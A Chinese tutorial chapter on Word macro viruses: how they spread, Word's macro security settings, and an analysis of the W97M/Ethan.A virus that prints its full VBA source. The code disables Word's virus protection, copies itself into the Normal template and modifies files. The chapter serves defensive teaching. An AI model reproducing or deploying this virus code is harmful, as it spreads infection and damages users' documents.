Word 宏病毒防治
文章类别:
Word | 发表日期:2008-8-29 12:42:51
宏是Word 里一个非常有用的工具,但也是Word 的安全漏洞之一。有一些恶意的人利用宏制造宏病毒,给别人带来麻烦。宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,宏病毒就会被激活,转移到计算机上,并驻留在 Normal 模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
13.1 宏病毒
宏病毒已经成为发展最快和传播最迅速的病毒。美国国际计算机安全协会ICSA 的《ICSA 1998 病毒流行调查报告》表明宏病毒独占 1998 年十大病毒感染事件的72%,在十大病毒中占了五席交椅: WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。根据 DataFellow 公司每天特征码升级的F-Macro 所检测到的宏病毒数目,至1998 年12 月达到了3,332 个,而在1997 年12 月才是1,821 个,增长率为83.0%。而且F-Macro 并不能检测到所有宏病毒。在1998 年12 月出现了Word Class Object 的宏病毒,是由VicodinES 编写的。
13.1.1 宏病毒
许多应用程序都允许在用户的数据库中包含一些宏,随着应用软件的进步,宏语言的功能也越来越强大,其中微软的Word Visual Basic for Application(VBA)已经成为应用软件宏语言的标准。利用宏语言,可以实现几乎所有的操作,还可以实现一些应用软件原来没有的功能。每个模板或数据文件中,都可以包含宏命令。
有不少应用软件允许用户利用宏修改软件菜单的功能,并可以将某一个宏加入到菜单中或设置成自动运行的命令。利用这个功能,宏就可以修改软件本身的功能,从而将软件本身修改为病毒传播的源泉。
宏病毒就是利用Word VBA 进行编写的一些宏,这些宏可以自动运行,干扰用户工作,轻则降低工作效率,重则破坏文件,使用户遭受巨大损失。
一旦打开含有宏病毒的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal 模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
宏病毒成为传播最快的病毒,其原因有三个:第一,现在用户几乎对可执行文件病毒和引导区病毒已经有了比较一致的认识,对这些病毒的防治都有一定的经验,许多公司、企业对可执行文件和磁盘的交换都有严格的规定。但对宏病毒的危害还没有足够的认识,而现在主要的工作就是交换数字文件,因此使宏病毒得到迅速传播。第二,现在的查病毒、防病毒软件主要是针对可执行文件和磁盘引导区设计的,一般都假定数据文件中不会存在病毒,而人们相信查病毒软件的结论,从而使隐藏在数据文件中的病毒成为漏网之鱼。第三,CD-ROM 和Interenet 使病毒的传播速度大大加快。
如果某个文档中包含了宏病毒,我们称此文档感染了宏病毒;如果Word 系统中的模板包含了宏病毒,我们称Word 系统感染了宏病毒。
Word 2000 无法扫描软盘、硬盘或网络驱动器上的宏病毒(要得到这种保护,需要购买和安装专门的防病毒软件)。但当打开一个含有可能携带病毒的宏的文档时,它能够显示宏警告信息。这样就可选择打开文档时是否要包含宏,如果希望文档包含要用到的宏(例如,单位所用的定货窗体),打开文档时就包含宏。如果您并不希望在文档中包含宏,或者不了解文档的确切来源。例如,文档是作为电子邮件的附件收到的,或是来自网络或不安全的Internet 节点。在这种情况下,为了防止可能发生的病毒传染,打开文档过程中出现宏警告提示时最好选择【取消宏】。
Word 软件包安装后,系统中包含有关于宏病毒防护的选项,其默认状态是允许【宏病毒保护】复选框。如果愿意,可以终止系统对文档宏病毒的检查。当Word 显示宏病毒警告信息时,清除【在打开带有宏或自定义内容的文档时提问】复选框。或者关闭宏检查:单击【工具】菜单中的【宏】命令,再从级联菜单中选择【安全性】命令,出现【安全性】对话框,选择【安全级】选项卡,将安全级别设为【无】。不过一般建议用户不要取消宏病毒防护功能,否则会失去这道防护宏病毒的天然屏障。
13.1.2 宏病毒示例
为了更好地理解宏病毒, 我们仔细分析一下宏病毒 W97M/Ethan.A。
下面是该病毒的代码。
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection
= 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan
Frome": .Author = "EW/LN/CB": .Keywords =
"Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs
FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved
= s
End Sub
W97M/Ethan.A 是一种寄生型宏病毒,由一个宏组成,能够感染 Word 系统中的文档和模板。在感染过程中,W97M/Ethan.A 使用一种特殊的算法,从自己的源文件向宿主文件传送病毒代码,在源文件中存放的是以VBA 代码形式存放的病毒程序。一旦感染成功,W97M/Ethan.A 会删除自身的有关文件,隐藏踪迹,并将感染所有访问过的Word 文件。
在被感染的Word 文件中,大概有三成几率的文件属性会被病毒更改,其标题会被改为“Ethan Frome”,而作者会被改为“EW/LN/CB”。如果发现上述特征,则说明此文档已被W97M/Ethan.A 宏病毒感染。
对已感染的文档进行操作,可能会出现以下问题:
(1)在存储文档时,无法以Word 文档格式存储,而只能存储为 Word 模板格式。
(2)在打开文档时,Word 系统会向用户询问文档的开启密码,否则无法访问该文件。
(3)在清除了宏病毒之后,仍然看不到Word 系统中的某些命令或选项,它们可能已被宏病毒删除。